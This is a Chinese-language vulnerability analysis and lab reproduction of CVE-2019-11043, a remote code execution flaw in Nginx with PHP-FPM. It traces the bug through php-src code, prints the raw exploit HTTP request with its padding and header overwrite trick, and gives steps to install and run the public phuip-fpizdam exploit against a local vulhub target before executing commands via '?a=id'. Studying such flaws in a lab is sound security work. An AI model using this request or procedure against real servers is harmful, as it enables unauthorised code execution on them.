漏洞介绍
CVE-2019-11043 是一个影响 Nginx + PHP-FPM 环境的远程代码执行漏洞。该漏洞的核心问题是 PHP-FPM 对 PATH_INFO 参数的处理逻辑存在缺陷,当 Nginx 配置不当且 PHP-FPM 启用了 security.limit_extensions 选项时,攻击者可以通过构造特殊的 URL 绕过安全检查,导致 PHP-FPM 错误地解析请求,从而执行任意代码。
漏洞范围
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本
漏洞靶场
使用vulhub的靶场
使用版本为php:7.2.10-fpm
vulhub-master/php/CVE-2019-11043/
1 | docker-compose up -d |
漏洞原理
在分析漏洞原理之前,我们这里可以直接跟入看修复的commit

sapi/fpm/fpm/fpm_main.c#L1212-L1213
从commit中我们可以很清晰的看出来漏洞成因应该是path_info的地址可控导致的,再结合漏洞发现者公开的漏洞信息中提到
1 | The regexp in `fastcgi_split_path_info` directive can be broken using the newline character (in encoded form, %0a). Broken regexp leads to empty PATH_INFO, which triggers the bug. |
也就是说,当path_info被%0a截断时,path_info将被置为空,回到代码中我就不难发现问题所在了。

其中env_path_info就是变量path_info的地址,path_info为0则plien为0.
slen变量来自于请求后url的长度
1 | int ptlen = strlen(pt); int slen = len - ptlen; |
其中
1 | int len = script_path_translated_len; |
这两个变量的差就是后面的路径长度,由于路径可控,则path_info可控。

sapi/fpm/fpm/fpm_main.c#L1222,L1226
由于path_info可控,在1222行我们就可以将指定地址的值置零,根据漏洞发现者的描述,通过将指定的地址的值置零,可以控制使_fcgi_data_seg结构体的char* pos置零。

其中script_name同样来自于请求的配置

而为什么我们使_fcgi_data_seg结构体的char* pos置零,就会影响到FCGI_PUTENV的结果呢?
这里我们深入去看FCGI_PUTENV的定义.
1 | char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val); |
跟入函数fcgi_quick_putenv
https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L1703

main/fastcgi#L1707-L1715
函数直接操作request的env,而这个参数在前面被预定义。
https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L908

main/fastcgi#L908-L915
继续跟进初始化函数fcgi_hash_init.
https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L254

main/fastcgi#L258-L269
也就是说request->env就是前面提到的fcgi_data_seg结构体,而这里的request->env是nginx在和fastcgi通信时储存的全局变量。
部分全局变量会在nginx的配置中定

其中变量会在堆上相应的位置储存

回到利用过程中,这里我们通过控制path_info指向request->env来使request->env->pos置零。
继续回到赋值函数fcgi_hash_set函数紧接着进入fcgi_hash_strndup

main/fastcgi#L312-L330
这里h->data-》pos的最低位被置为0,且str可控,就相当于我们可以在前面写入数据。
而问题就在于,我们怎么能向我们想要的位置写数据呢?又怎么向我们指定的配置写文件呢?
这里我们拿exp发送的利用数据包做例子
1 | GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1Host: ubuntu.local:8080User-Agent: Mozilla/5.0D-Gisos: 8=====================================DEbut: mamku tvoyu |
在数据包中,header中的最后两部分就是为了完成这部分功能,其中D-Gisos负责位移,向指定的位置写入数据。
而Ebut会转化为HTTP_EBUT这个fastcgi_param中的其中一个全局变量,然后我们需要了解一下fastcgi中全局变量的获取数据的方法。
https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L328

main/fastcgi#L332-L367
可以看到当fastcgi想要获取全局变量时,会读取指定位置的长度字符做对比,然后读取一个字符串作为value.
也就是说,只要位置合理,var值相同,且长度相同,fastcgi就会读取相对应的数据。
而HTTP_EBUT和PHP_VALUE恰好长度相同,我们可以从堆上数据的变化来印证这一点。
在覆盖之前,该地址对应数据为

然后执行fcgi_quick_puten

该地址对应数据变为

我们成功写入了PHP_VALUE并控制其内容,这也就意味着我们可以控制PHP的任意全局变量。
当我们可以控制PHP的任意全局变量就有很多种攻击方式,这里直接以EXP中使用到的攻击方式来举例子。

exp作者通过开启自动包含,并设置包含目录为/tmp,之后设置log地址为/tmp/a并将payload写入log文件,通过auto_prepend_file自动包含/tmp/a文件构造后门文件。
漏洞复现
访问http://127.0.0.1:8080进入靶场页面

使用exp
https://github.com/neex/phuip-fpizdam
需要使用go环境
下载go环境
1 | sudo apt update # 更新包管理器 |
配置环境变量
如果需要配置 Go 的工作目录,可以在 ~/.bashrc 或 ~/.zshrc 文件中添加以下内容:
1 | export GOPATH=$HOME/go |
然后运行以下命令使环境变量生效:
1 | source ~/.bashrc |
下载并安装 phuip-fpizdam
下载github上公开的exp
1 | go get github.com/neex/phuip-fpizdam |
然后编译
1 | go install github.com/neex/phuip-fpizdam |
使用exp攻击
1 | phuip-fpizdam http://127.0.0.1:8080/index.php |

接下来访问http://127.0.0.1:8080/?a=[命令]
1 | http://127.0.0.1:8080/?a=id |

复现成功
注意,因为php-fpm会启动多个子进程,在访问
/index.php?a=id时需要多访问几次,以访问到被污染的进程。
参考
https://cloud.tencent.com/developer/article/1530893